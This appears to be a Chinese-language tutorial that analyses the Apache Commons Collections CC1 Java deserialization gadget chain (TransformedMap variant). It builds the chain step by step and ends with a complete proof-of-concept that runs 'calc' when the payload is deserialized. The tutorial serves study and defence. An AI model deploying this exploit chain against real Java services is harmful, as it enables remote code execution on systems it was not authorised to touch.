CC1-TransformedMap

CC1链对JDK版本有要求,需在8u71之前

Jdk1.8.0.65: https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

sun包: https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
src\share\classes\sun,放到Jdk下解压的src包内,Idea添加

image-20231114132357257

导入maven依赖(pom.xml)

image-20231113194232916

Transformer-执行类

主要利用方法 Transform(),看那些类实现了这个类

image-20231113213642842

查找用法,找到调用 transformer 的方法

寻找调用链

InvokerTransformer

image-20231113234523714

InvokerTransformer构造函数控制参数,tranform() 可以执行任意命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// InvokerTransformer
package Gadget.CC1;

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1_1 {
public static void main(String[] args) throws Exception {
// Runtime正常执行
// Runtime.getRuntime().exec("calc");

// Runtime反射执行
// Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method m = c.getMethod("exec",String.class);
// m.invoke(r,"calc");

// InvokerTransformer.transform()实现
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());

}
}

TransformedMap

进入到 InvokerTransformer类里,查看 Transform 的用法,找 TransformedMap

image-20231114111733071

这里的 valueTransformer 调用了 transformer(),TransformedMap构造方法可以给他赋值

image-20231113222410600

TransformedMap() 是一个保护方法,decorate() 方法调用了它,就可以赋值了

image-20231114113445459

现在找哪里调用了 checkSetValue(),这里找到了 setValue()

image-20231114115339182

这个类还是 TransformedMap 的父类

image-20231114115940344

setValue() 在 AbstractInputCheckedMapDecorator 静态嵌套类 MapEntry

image-20231114120226678

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package Gadget.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Annotation;
import java.util.HashMap;
import java.util.Map;

public class CC1_2 {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(Runtime.getRuntime());

HashMap<Object,Object> map = new HashMap<>();
map.put("key","vlue"); // 添加键值对
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

// 对 Entry 进行遍历
for (Map.Entry entry:transformedMap.entrySet()) {
// TransformedMap没有setValue(),会调用父类的setValue()
entry.setValue(Runtime.getRuntime());

}
}
}

寻找入口类

AnnotationInvocationHandler类下的readObject()

image-20231114131907479

readObject()

image-20231114133137755

后面的 for 正好在遍历 Map,要满足 if 的判断到达 setValue()

执行 readObject() 需要获取 AnnotationInvocationHandler 对象,default类型

image-20231114133608973

1
2
3
4
5
// AnnotationInvocationHandler类是default,不能直接获取
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);

回到前面,Runtime 没有实现 Serializable,所以不能序列化

image-20231114134429551

Class 可以序列化,反射获取

image-20231114134701335

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//不能序列化
Runtime r = Runtime.getRuntime();

//反射调用
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"calc");

// 修改成 InvokerTransformer 调用形式
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);

Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);

// 执行测试
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

ChainedTransformer

image-20231113234038569

该类维护了一个Transformer接口类型的数组iTransformers,transform() 先将输入的对象交给iTransformers数组第一个转换器的 transform() 进行修饰,修饰后的结果又作为下一个转化器的要修饰的对象(链式转化器)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package Gadget.CC1;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1_Serial {
public static void main(String[] args) throws Exception {
// ChainedTransformer链式执行
Transformer[] transformers = new Transformer[] {
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);

HashMap<Object,Object> map = new HashMap<>();
map.put("value","aaa"); // 添加键值对
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

// AnnotationInvocationHandler类是default,不能直接获取
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);


// 序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);

// 反序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();

}
}

断点走一下 readObject() 的 if 判断

前三行循环获取键值对获取

image-20231114171157770

总览

image-20231114172318807

annotationType = AnnotationType.getInstance(type); 获取 type 成员方法,没有会新建一个AnnotationType

image-20231114172915205

AnnotationInvocationHandler 构造方法内可以给 type 赋值

image-20231114172416803

上面代码,赋值的是 Override,Java的注释类,而 Override 没有参数

image-20231114173211138

换成 Target,然后 map 的 put,进入的键值对的 key 要改成 Target 参数的名,且值不为 null

image-20231114173329370

1
map.put("value","abc");

继续调试,可以执行 setValue(),继续跟进,发现 checkSetValue(value) 中 value 的值不是构想的Runtime

image-20231114174205086

第二个 if 判断是否对象可以强转,最后的 setValue(value) 的 value 是 new 的 AnnotationTypeMismatchExceptionProxy,固定了,改不了

image-20231114173932154

ConstantTransformer

这里的 transform 无论接受什么,返回值不会改变,都是 iConstant

image-20231114181215574

Gadget chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/*
Gadget chain:
objectInputStream.readobject()
AnnotationInvocationHandler.readobject()
TransformedMap.entrySet()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
(TransformedMap继承AbstractInputCheckedMapDecorator)
TransformedMap.checkSetvalue()
ChainedTransformner.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package Gadget.CC1;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1_Transformer {
public static void main(String[] args) throws Exception {
// ChainedTransformer链式执行
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class); // test

HashMap<Object,Object> map = new HashMap<>();
map.put("value","abc"); // 添加键值对
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

// AnnotationInvocationHandler类是default,不能直接获取
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);


// 序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);

// 反序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();

}
}
⬆︎TOP